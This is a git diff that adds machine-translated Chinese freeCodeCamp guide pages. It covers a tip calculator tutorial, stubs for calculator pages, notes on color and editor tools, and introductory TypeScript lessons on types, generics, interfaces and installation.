+ 
+            </form> 
+            <hr> 
+ 
+            <!-- RESULTS --> 
+            <div id="results" class="pt-4"> 
+              <h5>Results</h5> 
+              <div class="form-group"> 
+                <div class="input-group"> 
+                  <span class="input-group-addon">Tip amount</span> 
+                  <input type="number" class="form-control" id="tipAmount" disabled> 
+                </div> 
+              </div> 
+ 
+              <div class="form-group"> 
+                <div class="input-group"> 
+                  <span class="input-group-addon">Total Bill with Tip</span> 
+                  <input type="number" class="form-control" id="totalBillWithTip" disabled> 
+                </div> 
+              </div> 
+ 
+ 
+            </div> 
+          </div> 
+        </div> 
+      </div> 
+    </div> 
+ 
+    <!-- Optional JavaScript --> 
+    <!-- jQuery first, then Popper.js, then Bootstrap JS --> 
+    <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> 
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script> 
+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script> 
+ 
+  </body> 
+ </html> 
+```
+
+## 第2步 - CSS：
+
+您可以根据需要设计样式。您还可以使用CSS隐藏结果，并在用户填写表单后通过JavaScript显示结果：
+
+```css
+  #results { 
+         display:none; 
+       } 
+```
+
+## 第3步：JavaScript：
+
+我们添加onchange事件。当用户与表单交互时，会发生onchange事件。
+
+此操作将执行一个函数，该函数根据百分比提示计算最终的帐单金额，然后返回结果。
+
+```javascript
+document.querySelector('#tip-form').onchange = function(){ 
+ 
+  var bill = Number(document.getElementById('billTotal').value); 
+  var tip = document.getElementById('tipInput').value; 
+  document.getElementById('tipOutput').innerHTML = `${tip}%`; 
+  var tipValue = bill * (tip/100) 
+  var finalBill = bill + tipValue 
+ console.log(finalBill) 
+ var tipAmount = document.querySelector('#tipAmount') 
+ var totalBillWithTip = document.querySelector('#totalBillWithTip') 
+ 
+ tipAmount.value = tipValue.toFixed(2); 
+ totalBillWithTip.value =finalBill.toFixed(2); 
+ 
+ //Show Results 
+ 
+  document.getElementById('results').style.display='block' 
+ } 
+```
+
+您可以在[Codepen.io](https://codepen.io/voula12/pen/djrZGw)上看到一个工作示例及其代码。
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/triangle-calculator/index.md b/client/src/guide/chinese/tools/calculators/triangle-calculator/index.md
new file mode 100644
index 0000000000..0dcc56fd5e
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/triangle-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Triangle Calculator
+localeTitle: 三角计算器
+---
+## 三角计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/triangle-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/vector-calculator/index.md b/client/src/guide/chinese/tools/calculators/vector-calculator/index.md
new file mode 100644
index 0000000000..ef7d69129f
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/vector-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Vector Calculator
+localeTitle: 矢量计算器
+---
+## 矢量计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/vector-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/voltage-drop-calculator/index.md b/client/src/guide/chinese/tools/calculators/voltage-drop-calculator/index.md
new file mode 100644
index 0000000000..b4137cf146
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/voltage-drop-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Voltage Drop Calculator
+localeTitle: 电压降计算器
+---
+## 电压降计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/voltage-drop-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/volume-calculator/index.md b/client/src/guide/chinese/tools/calculators/volume-calculator/index.md
new file mode 100644
index 0000000000..bee78715c7
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/volume-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Volume Calculator
+localeTitle: 体积计算器
+---
+## 体积计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/volume-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/color-naming/index.md b/client/src/guide/chinese/tools/color-naming/index.md
new file mode 100644
index 0000000000..64048c72a5
--- /dev/null
+++ b/client/src/guide/chinese/tools/color-naming/index.md
@@ -0,0 +1,13 @@
+---
+title: Color Naming
+localeTitle: 颜色命名
+---
+## 颜色命名
+
+提出颜色名称，真的很棘手。有一个很棒的工具，允许您根据颜色十六进制代码生成随机名称。
+
+### 更多信息
+
+*   [命名那个颜色](http://chir.ag/projects/name-that-color)
+    
+*   [color-name-generator npm包](https://www.npmjs.com/package/color-name-generator)
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/color-picker/index.md b/client/src/guide/chinese/tools/color-picker/index.md
new file mode 100644
index 0000000000..35500c384c
--- /dev/null
+++ b/client/src/guide/chinese/tools/color-picker/index.md
@@ -0,0 +1,33 @@
+---
+title: Color Picker
+localeTitle: 颜色选择器
+---
+## 选色器
+
+颜色选择器是一种试验网络颜色的工具。您可以使用它来选择各种颜色和色调如何组合在一起，并找出它们之间的差异。颜色选择器通常以各种格式显示颜色及其信息，包括十六进制和RGB。
+
+### 在线网站
+
+颜色选择器网站提供了最简单的方法来快速选择颜色并获取有关它们的信息。当您不确定使用色调或其他颜色或只是想以不同的格式获得您使用的颜色时，它们会很有用。
+
+### 浏览器扩展
+
+安装颜色选择器浏览器扩展允许您获取有关网页上使用的颜色的信息。当你在某处看到某种颜色并希望获得它的代码时，它很有用。只需点击或悬停颜色所在的地方，扩展程序就会显示代码，以便您可以在其他地方使用它。
+
+### 代码编辑器包/扩展
+
+另一种使用颜色选择器的实用方法是将其作为包或扩展程序安装在您喜欢的编辑器上。只需单击它们，您就可以直观地显示和更改颜色，而无需离开编辑器。除了常用的CSS样式外，它们还经常支持各种格式的SASS和LESS变量和颜色。
+
+### 更多信息：
+
+您可以在下面查看颜色选择器工具的常见示例。
+
+*   [W3schools在线颜色选择器](https://www.w3schools.com/colors/colors_picker.asp)
+    
+*   [ColorZilla浏览器扩展](http://www.colorzilla.com/)
+    
+*   [Atom的颜色选择器包](https://atom.io/packages/color-picker)
+    
+*   [Ambiance Color Palettes](http://ambiance.somethingjustlikethis.com/)
+    
+*   [即时吸管](http://www.instant-eyedropper.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/image-editor/index.md b/client/src/guide/chinese/tools/image-editor/index.md
new file mode 100644
index 0000000000..498a1347d0
--- /dev/null
+++ b/client/src/guide/chinese/tools/image-editor/index.md
@@ -0,0 +1,26 @@
+---
+title: Image Editor
+localeTitle: 图像编辑器
+---
+# 图像编辑器
+
+开发人员/艺术家使用图像编辑器来操纵或转换图像。 _裁剪，调整大小，颜色校正，复合（将多个图像合并为一个），或删除不需要的对象。_ 有些比其他更受欢迎，但它们都具有类似的编辑功能。以下部分介绍了它们的一些不同之处。
+
+### Web App图像编辑器
+
+Web应用程序图像编辑器可在浏览器中使用。换句话说，您无需让浏览器处理图像。示例：从本地文件夹/ URL打开图像的功能。
+
+### 开源编辑
+
+提供免费下载，并向用户提供对软件开发的贡献。
+
+### 付费编辑
+
+付费编辑需要一次性付款或基于订阅。但是，在提交购买之前，可以使用试用版来测试软件。如果您碰巧是学生，很多时候，通过学生电子邮件或身份证可以享受折扣。
+
+### 链接：
+
+*   [Pixlr编辑器](https://pixlr.com/editor/) - 免费|浏览器
+*   [Gimp](https://www.gimp.org/) - 免费|下载|开源
+*   [Photoshop](https://www.adobe.com/products/photoshop.html) - 免费试用|付费
+*   [Photoshop Express](https://www.photoshop.com/products/photoshopexpress) - 免费|移动
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/index.md b/client/src/guide/chinese/tools/index.md
new file mode 100644
index 0000000000..ea9ecd635a
--- /dev/null
+++ b/client/src/guide/chinese/tools/index.md
@@ -0,0 +1,9 @@
+---
+title: Tools
+localeTitle: 工具
+---
+## 工具
+
+此类别为开发人员提供了许多简单的实用程序，例如转换器，颜色工具和引用。
+
+如果您需要用于数学，编程或设计的通用工具，可以通过[在此处创建GitHub问题来](https://www.github.com/freecodecamp/guides/issues/new)请求某人构建它。
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/prime-number-chart/index.md b/client/src/guide/chinese/tools/prime-number-chart/index.md
new file mode 100644
index 0000000000..7f31ff1ebd
--- /dev/null
+++ b/client/src/guide/chinese/tools/prime-number-chart/index.md
@@ -0,0 +1,15 @@
+---
+title: Prime Number Chart
+localeTitle: 素数图表
+---
+## 素数图表
+
+**素数** ：任何大于1的整数，其唯一因子是1和它自己。
+
+**素数1 - 100**
+
+| 2 | 3 | 5 | 7 | 11 | | ---- | ---- | ---- | ---- | ---- | | 13 | 17 | 19 | 23 | 29 | | 31 | 37 | 41 | 43 | 47 | | 53 | 59 | 61 | 67 | 71 | | 73 | 79 | 83 | 89 | 97 |
+
+#### 更多信息：
+
+[WolframMathWorld：Prime数字](http://mathworld.wolfram.com/PrimeNumber.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/prime-number-generator/index.md b/client/src/guide/chinese/tools/prime-number-generator/index.md
new file mode 100644
index 0000000000..711be18d40
--- /dev/null
+++ b/client/src/guide/chinese/tools/prime-number-generator/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Number Generator
+localeTitle: 素数发生器
+---
+## 素数发生器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/prime-number-generator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/source-code-editors/index.md b/client/src/guide/chinese/tools/source-code-editors/index.md
new file mode 100644
index 0000000000..39e0fa377c
--- /dev/null
+++ b/client/src/guide/chinese/tools/source-code-editors/index.md
@@ -0,0 +1,61 @@
+---
+title: Source Code Editors
+localeTitle: 源代码编辑
+---
+## 源代码编辑
+
+源代码编辑器是允许代码创建的程序  
+编辑。任何文本编辑器都可用于编写代码。但专用代码  
+编辑提供了许多有用的功能，包括：文本完成，  
+标记着色，以及用于并排编辑的选项卡/窗格。这些功能可以  
+即使对那些不了解所有人的新用户也很有用  
+高级选项。
+
+有许多编辑可供下载或使用  
+在线，有偿和免费。它们提供了许多相同的核心功能，但是  
+每个都有自己的细微差别。进一步的研究可能有助于找到那个  
+适合你。以下编辑器都是跨平台的  
+免费使用或评估。
+
+## [崇高文本](https://www.sublimetext.com/) ![崇高的文本图标](//discourse-user-assets.s3.amazonaws.com/original/2X/1/1249e18855b9c9ef177e636e6c4e308b4877bf2d.png)
+
+![Sublime Text截图](//discourse-user-assets.s3.amazonaws.com/original/2X/6/63f774c31a7b1a439bcef9d11e95463b6998310e.png)
+
+Sublime Text是一个非常受欢迎的编辑器， [自2008年以来](https://www.sublimetext.com/blog/articles/one-point-oh)一直存在。那里  
+有很多选项和[扩展](https://packagecontrol.io/) ，  
+并提供很多[帮助](http://stackoverflow.com/search?q=sublime+text)  
+在线帮助  
+[设置它](http://www.websightdesigns.com/wiki/Setting_up_Sublime_Text_3) 。  
+（继续使用的许可费用为70美元。但是，Sublime Text是免费的  
+下载并评估，用唠叨屏幕弹出。）
+
+## [括号](http://brackets.io/) ![括号图标](//discourse-user-assets.s3.amazonaws.com/original/2X/d/df30640741461569071875cf4ff6cad9924f8b32.png)
+
+![Brackets截图](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2f395a58d24ed551ed8440a10ae640777f1143b6.png)
+
+Brackets是Adobe的一个相对较新的开源编辑器。这是非常用户  
+友好，特别是对于不习惯命令行界面的人  
+或JSON风格的设置/偏好。扩展和主题快速简便  
+通过Extension Manager查找和安装。
+
+## [原子](https://atom.io/) ![原子图标](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7f6ba67d0ea310e1c1024f83c9acc1e0ecf255a8.png)
+
+![Atom截图](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8016e7c0937e8ce6fcb6104c9aee0026443912f5.png)
+
+Atom是一个[开源](https://github.com/atom/atom)编辑器  
+由[GitHub](https://github.com/) 。像Sublime Text一样，Atom很受欢迎。  
+它是非常可配置的（正如他们所说，“hackable”）但高级功能可能  
+对新用户来说是压倒性的。还有很多[有用的](http://readwrite.com/2014/05/20/github-atom-5-tips-getting-started-tutorial-corey-johnson/) [文档](http://flight-manual.atom.io/)
+
+[可](http://stackoverflow.com/search?q=atom)在线获取。
+
+## [Visual Studio代码](https://code.visualstudio.com/) ![Visual Studio代码图标](https://i.imgur.com/b4vFsKa.png)
+
+![Visual Studio代码截图](https://code.visualstudio.com/home/home-screenshot-mac-lg.png)
+
+Visual Studio Code是Microsoft在2015年开发的源代码编辑器，现在是Web开发中最知名的代码编辑器之一。 它支持许多编程语言，与其他编程语言一样，您可以下载插件或扩展，以使其更适合您的编码风格。 其主要特点是：
+
+*   IntelliSense - 用于语法突出显示，自动完成，功能定义和智能完整。
+*   调试 - 能够使用断点，调用堆栈和交互式控制台进行调试。
+*   内置Git - 在编辑器中查看差异，阶段文件，提交，推送和拉取。
+*   扩展 - 安装扩展以添加新语言，主题，调试程序和连接其他服务。
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/any-type/index.md b/client/src/guide/chinese/typescript/any-type/index.md
new file mode 100644
index 0000000000..37373e2414
--- /dev/null
+++ b/client/src/guide/chinese/typescript/any-type/index.md
@@ -0,0 +1,14 @@
+---
+title: Any Type
+localeTitle: 随便哪种
+---
+# 随便哪种
+
+Any类型指示Typescript暂停对指定变量的类型检查。在处理您不知道类型的动态内容以及将Javascript的代码库转换为打字稿时非常有用。您可以使用Javascript的隐式类型与使用Any类型声明的变量。
+
+```typescript
+  let notSure: any = 4; 
+  notSure = "maybe a string instead"; 
+  notSure = false; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/array-type/index.md b/client/src/guide/chinese/typescript/array-type/index.md
new file mode 100644
index 0000000000..d129ba1b85
--- /dev/null
+++ b/client/src/guide/chinese/typescript/array-type/index.md
@@ -0,0 +1,60 @@
+---
+title: Array Type
+localeTitle: 数组类型
+---
+# 数组类型
+
+您可以完全访问TypeScript中的数组。 可以在TypeScript中以两种不同的方式编写数组：
+
+**数据类型\[\]**  
+DataType后跟方括号`[]`
+
+```typescript
+let names: string[] = ['Javier', 'Emma', 'John', 'Sophia', 'Emma']; 
+```
+
+**阵列<数据类型>**  
+`Array`后跟<DataType>
+
+```typescript
+let names: Array<string> = ['Javier', 'Emma', 'John', 'Sophia', 'Emma']; 
+```
+
+## 内置方法
+
+在Typescript的Array类型中，您可以使用一些内置函数。每种类型都有共同和独特的方法。 您可以在下面了解最常用的数组类型方法。在示例中，我们将使用上面的数组声明。
+
+### 流行（）
+
+从数组中删除最后一个元素并返回它。
+
+```typescript
+var element = names.pop(); 
+ //element = Emma 
+ var element2 = names.pop(); 
+ //element2 = Sophia 
+```
+
+### 推（）
+
+将一个或多个元素添加到数组的末尾，并返回数组的新长度。
+
+```typescript
+var length = names.push('Tobias'); 
+ // names[] = ['Javier', 'Emma', 'John', 'Sophia', 'Emma', 'Tobias'] 
+ // lenght = 6 
+ var length2 = names.push('Jack','Lily'); 
+ // names[] = ['Javier', 'Emma', 'John', 'Sophia', 'Emma', 'Tobias','Jack','Lily'] 
+ // lenght2 = 8 
+```
+
+### 相反（）
+
+反转数组的顺序并返回它
+
+```typescript
+var reverseNames = names.reverse(); 
+ //reverseNames = ['Emma','Sophia','John','Emma','Javier'] 
+```
+
+[TutorialsPoint提供了更多方法和说明](https://www.tutorialspoint.com/typescript/typescript_arrays.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/boolean-type/index.md b/client/src/guide/chinese/typescript/boolean-type/index.md
new file mode 100644
index 0000000000..e2ebeb5aa9
--- /dev/null
+++ b/client/src/guide/chinese/typescript/boolean-type/index.md
@@ -0,0 +1,12 @@
+---
+title: Boolean Type
+localeTitle: 布尔类型
+---
+# 布尔类型
+
+`boolean`是您的基本JavaScript真/假值。
+
+```typescript
+let isDone: boolean = false; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/enums/index.md b/client/src/guide/chinese/typescript/enums/index.md
new file mode 100644
index 0000000000..da75a87076
--- /dev/null
+++ b/client/src/guide/chinese/typescript/enums/index.md
@@ -0,0 +1,29 @@
+---
+title: Enums
+localeTitle: 枚举
+---
+## 枚举
+
+开发人员可以使用`Enums`来定义一组命名常量。
+
+有两种类型的`Enums`
+
+1.  数字
+2.  基于字符串
+
+```typescript
+// numeric enum 
+ enum NumericEnum { 
+    numeric1 = 1, 
+    numeric2, 
+    numeric3, 
+    numeric4, 
+ } 
+ 
+ // string based enum 
+ enum StringBasedEnum { 
+    Programming = "is fun", 
+    Pizza = "is good" 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/for-of-loop/index.md b/client/src/guide/chinese/typescript/for-of-loop/index.md
new file mode 100644
index 0000000000..efd947674b
--- /dev/null
+++ b/client/src/guide/chinese/typescript/for-of-loop/index.md
@@ -0,0 +1,17 @@
+---
+title: For..Of Loop
+localeTitle: For..Of Loop
+---
+# For..Of Loop
+
+`for..of`循环是TypeScript中的一个特殊循环，可用于迭代数组的值。
+
+```typescript
+let fruits = ['Apple', 'Banana', 'Orange']; 
+ 
+ for (let fruit of fruits) { 
+  console.log(fruit); 
+ } 
+```
+
+您将从上面的代码中获得的输出将是“Apple”，“Banana”和“Orange”。由于此循环类型不会遍历索引，因此不会得到“0”，“1”和“2”。
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/generics/index.md b/client/src/guide/chinese/typescript/generics/index.md
new file mode 100644
index 0000000000..b6e27f8941
--- /dev/null
+++ b/client/src/guide/chinese/typescript/generics/index.md
@@ -0,0 +1,71 @@
+---
+title: Generics
+localeTitle: 泛型
+---
+## 泛型
+
+开发人员可以使用`Generics`为类，实例成员，静态成员和函数指定类型约束。
+
+### 仿制药做什么？
+
+从本质上讲，它们充当类型的占位符，以便通过适应不同类型，可以在应用程序的多个位置使用组件。
+
+### 泛型解决了什么问题？
+
+假设您希望确保函数的输入和返回值属于同一类型，这就是泛型的用武之地。
+
+##### 功能
+
+```typescript
+function printMessage(arg: any): any { 
+  return arg; 
+ } 
+ 
+ // typescript won't complain because the argument type and return type aren't being typed properly 
+ const myMessage: string = printMessage(1); 
+```
+
+正如您从上面所看到的，为函数中的参数类型传递`any`以及返回类型并不理想，因为在此过程中类型信息会丢失。
+
+```typescript
+// updated example 
+ function printMessage<T>(arg: T): T { 
+  return arg; 
+ } 
+ 
+ // typescript complains because the variable type and the return type of the function don't match 
+ const myMessage: string = printMessage(1); 
+ 
+ // resolve the issue by making sure both types match each other 
+ const myMessage: number = printMessage(1); 
+```
+
+在函数中包含`<T>`告诉TypeScript它是泛型函数，并将其作为引用传递将使TypeScript知道与其关联的值具有相同的类型。
+
+##### 类
+
+```typescript
+class Person { 
+  fullName: string; 
+ 
+  constructor(fullName: string) { 
+    this.fullName = fullName; 
+  } 
+ 
+  getFullName() { 
+    return 'My name is ' + this.fullName; 
+  } 
+ } 
+ 
+ class Guest extends Person {}; 
+ 
+ let guest = new Guest('abc'); 
+ 
+ function getUser<T>(user: T): T { 
+  return user; 
+ } 
+ 
+ // foo will be of type 'guest' because it's being passed in as the argument 
+ const foo = getUser(guest); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/getters-setters/index.md b/client/src/guide/chinese/typescript/getters-setters/index.md
new file mode 100644
index 0000000000..72ae0d6e9e
--- /dev/null
+++ b/client/src/guide/chinese/typescript/getters-setters/index.md
@@ -0,0 +1,27 @@
+---
+title: Getters & Setters
+localeTitle: 吸气者和二传手
+---
# 吸气者和二传手
+
+Typescript还支持`get`和`set`属性。 Get和Set Properties实际上称为Accessors。属性的访问器包含与获取（读取）或设置（写入）属性相关联的可执行语句。声明可以包含get访问器或set访问器或两者。
+
+```typescript
+class User { 
+    private _fullName: string = ''; 
+ 
+    get fullName() { 
+        return this._fullName; 
+    } 
+ 
+    set fullName(name) { 
+        this._fullName = name; 
+    } 
+ } 
+ 
+ let user = new User(); 
+ 
+ user.fullName = 'John Doe'; 
+ 
+ console.log(user.fullName); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/index.md b/client/src/guide/chinese/typescript/index.md
new file mode 100644
index 0000000000..5eab80ef0a
--- /dev/null
+++ b/client/src/guide/chinese/typescript/index.md
@@ -0,0 +1,59 @@
+---
+title: TypeScript
+localeTitle: 打字稿
+---
+## 打字稿
+
+### 概观
+
+![打字稿](https://i.imgur.com/uRLunzU.png)
+
+因此，正如您最有可能意识到的那样，JavaScript每天都在扩大其占用空间，而且现在您可以使用该语言实现这一目标，这既令人难以置信又令人惊叹。
+
+但是，随着越来越多的大型项目开始使用JavaScript，使代码更容易编写和更易于维护的过程变得越来越困难。
+
+这是微软早期认识到的一个问题，他们提出了TypeScript的解决方案，并于2012年10月1日发布了第一个版本。
+
+您可以在[`TypeScript`](./) > [`JavaScript vs TypeScript`](./javascript-vs-typescript)了解有关语法差异的更多信息。
+
+![主要特点](https://i.imgur.com/pZij95O.jpg)
+
+从本质上讲，TypeScript正试图帮助JavaScript达到新的高度，并且变得非常可扩展，并且可以通过以下功能突出显示：
+
+*   由Microsoft开发和维护的免费和开源编程语言
+*   编译为纯JavaScript的严格的语法超集JavaScript
+*   简化了用JavaScript编写的大规模应用程序的开发
+*   通过添加静态类型，类，模块，接口和泛型来扩展JavaScript
+
+**🎉FUN FACT** TypeScript于2017年10月1日满5岁。
+
+### 版
+
+最新的稳定版本是[TypeScript 3.1](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-1.html) 。
+
+### 安装
+
+要了解有关安装的更多信息，请参阅[`TypeScript`](./) > [`Installation`](./installation) 。
+
+### 短绒
+
+要了解有关在TypeScript中使用[`Linter`](./linter)更多信息，请查看[`TypeScript`](./) > [`Linter`](./linter) 。
+
+### 操场
+
+![操场](https://i.imgur.com/vlV7ZFr.png)
+
+如果您想在不安装的情况下试用TypeScript，请访问[TypeScript Playground](http://www.typescriptlang.org/play/index.html) 。
+
+Playground具有内置的自动完成功能，可以直接查看发出的JavaScript。
+
+### 其他资源
+
+要了解有关安装的更多信息，请参阅[安装附录](./src/articles/typescript/appendix-installation/index.md) 。
+
+如果您只需要一个类型检查器并且不想编译您的程序，请阅读[Flux](https://facebook.github.io/flux/) 。
+
+*   [快速开始](http://www.typescriptlang.org/samples/index.html)
+*   [文档](http://www.typescriptlang.org/docs/home.html)
+*   [源代码](https://github.com/Microsoft/TypeScript)
+*   [TutorialsPoint](https://www.tutorialspoint.com/typescript/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/installation/index.md b/client/src/guide/chinese/typescript/installation/index.md
new file mode 100644
index 0000000000..0939d328b7
--- /dev/null
+++ b/client/src/guide/chinese/typescript/installation/index.md
@@ -0,0 +1,88 @@
+---
+title: Installation
+localeTitle: 安装
+---
+## 安装
+
+![安装](https://i.imgur.com/9ILjA1q.jpg)
+
+要自己开始，您需要的两件事是TypeScript编译器和支持TypeScript的编辑器。
+
+在上面的屏幕截图中，我在[Visual Studio Code](https://code.visualstudio.com/)的集成终端中使用`npm`安装编译器和[TSLint](https://github.com/palantir/tslint) （类似于[ESLint](https://eslint.org/) ）。
+
+### 安装TypeScript
+
+此命令将使用[`npm`](https://www.npmjs.com/) （一种流行的包管理器）将TypeScript包作为依赖项安装在项目中。
+
+```bash
+npm i typescript 
+```
+
+_注意_ `npm`提供[了几个选项](https://docs.npmjs.com/cli/install) ，具体取决于您希望安装TypeScript的位置。
+
+*   `npm i -g typescript`全局安装TypeScript包
+*   `npm i -D typescript`将TypeScript包安装为dev依赖项
+
+### TSLint
+
+了解如何在**freeCodeCamp指南中的** [TypeScript](./) > [Linter上](./linter)为TypeScript设置linting选项。
+
+### 将单个文件编译为JavaScript
+
+```bash
+tsc multiplication.ts 
+```
+
+_注意_您可以将此TypeScript编译过程配置为`package.json`的自定义npm脚本。
+
+### 配置选项
+
+```bash
+touch tsconfig.json 
+```
+
+还可以选择创建指定根文件和编译器选项的[`tsconfig.json`](https://www.typescriptlang.org/docs/handbook/tsconfig-json.html)文件。
+
+例如，在[`tsconfig.json`](https://www.typescriptlang.org/docs/handbook/tsconfig-json.html)文件中，您可以指定希望TypeScript编译为ES5而不是ES6。
+
+### 快速示例
+
+![乘法](https://i.imgur.com/V5nP3xj.jpg)
+
+在上面的屏幕截图中，您可以看到两个文件 - `multiplication.js`和`multiplication.ts` 。
+
+这个程序只打印出我预先定义的两个数字的乘积。
+
+> `multiplication.ts`
+
+```typescript
+let a: number = 10; 
+ let b: number = 2; 
+ 
+ function showProduct(first: number, second: number): void { 
+  console.info("Mathematical! The result is " + first * second + "."); 
+ } 
+ 
+ showProduct(a, b); 
+ 
+ // Mathematical! The result is 20. 
+```
+
+一旦我完成了`multiplication.ts`创建，我可以使用`tsc`命令将其编译为JavaScript，该命令代表TypeScript编译。
+
+> `multiplication.js`
+
+```javascript
+var a = 10; 
+ var b = 2; 
+ 
+ function showProduct(first, second) { 
+    console.info("Mathematical! The result is " + first * second + "."); 
+ } 
+ 
+ showProduct(a, b); 
+ 
+ // Mathematical! The result is 20. 
+```
+
+Bam - 我刚刚成功地将TypeScript编译为JavaScript！
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/interfaces/index.md b/client/src/guide/chinese/typescript/interfaces/index.md
new file mode 100644
index 0000000000..d2157a676e
--- /dev/null
+++ b/client/src/guide/chinese/typescript/interfaces/index.md
@@ -0,0 +1,29 @@
+---
+title: Interfaces
+localeTitle: 接口
+---
# 接口
+
+TypeScript的核心原则之一是类型检查关注于值所具有的形状。这有时被称为“鸭子打字”或“结构子类型”。在TypeScript中， `interfaces`充当了命名这些类型的角色，并且是一种在代码中定义合同以及与项目之外的代码签订合同的强大方法。
+
+```typescript
+interface User = { 
+    firstName: string; 
+    lastName: string; 
+ } 
+ 
+ function printUserInfo(user: User) { 
+    console.log(user.firstName); 
+ } 
+ 
+ let myObj = {firstName: 'John', lastName: 'Doe'} 
+ printUserInfo(myObj); 
+```
+
+接口可以包含可选参数
+
+```typescript
+interface User = { 
+    email?: string; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/javascript-vs-typescript/index.md b/client/src/guide/chinese/typescript/javascript-vs-typescript/index.md
new file mode 100644
index 0000000000..b603356968
--- /dev/null
+++ b/client/src/guide/chinese/typescript/javascript-vs-typescript/index.md
@@ -0,0 +1,19 @@
+---
+title: JavaScript vs TypeScript
+localeTitle: JavaScript与TypeScript
+---
+## JavaScript与TypeScript
+
+![沃尔多在哪儿](https://i.imgur.com/DznuAou.jpg)
+
+好的，现在我们对TypeScript有了一般意义，让我们玩一下**Where's Waldo**的快速游戏吧。
+
+在上面的屏幕截图中，您可以在这个非常简单的乘法程序中发现`JavaScript`和`TypeScript`之间的差异，该程序只打印出我预先定义的两个数字的乘积。
+
+### 虽然这些差异是什么？ 🤔️
+
+他们是**类型** ！
+
+因此`JavaScript`具有动态类型，声明为数字的变量可以转换为字符串，而`TypeScript`具有静态类型，这意味着您事先声明变量将保持的值的类型，并且不会更改。
+
+在`multiplication.ts`文件中，我将所有这些变量声明为数字，因此无法将其更改为其他变量。
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/linter/index.md b/client/src/guide/chinese/typescript/linter/index.md
new file mode 100644
index 0000000000..85e99dd0bf
--- /dev/null
+++ b/client/src/guide/chinese/typescript/linter/index.md
@@ -0,0 +1,24 @@
+---
+title: Linter
+localeTitle: 短绒
+---
+## 短绒
+
+![TSLint](https://2.bp.blogspot.com/-w7oeP1geosE/V82a740bTbI/AAAAAAAAAu4/-zJxZsmmH6garbdmUplX0n5Yz5zDsvcVQCLcB/s1600/tslint.png)
+
+[linter](https://www.wikiwand.com/en/Lint_(software)被定义为检测和标记编程语言中的错误的工具，包括样式错误。
+
+对于TypeScript， [TSLint](http://palantir.github.io/tslint)是最受欢迎的[linter](http://palantir.github.io/tslint)选项。
+
+TSLint是一种可扩展的静态分析工具，可检查TypeScript代码的可读性，可维护性和功能性错误。
+
+它在现代编辑器和构建系统中得到广泛支持，可以使用您自己的lint规则，配置和格式化程序进行自定义。
+
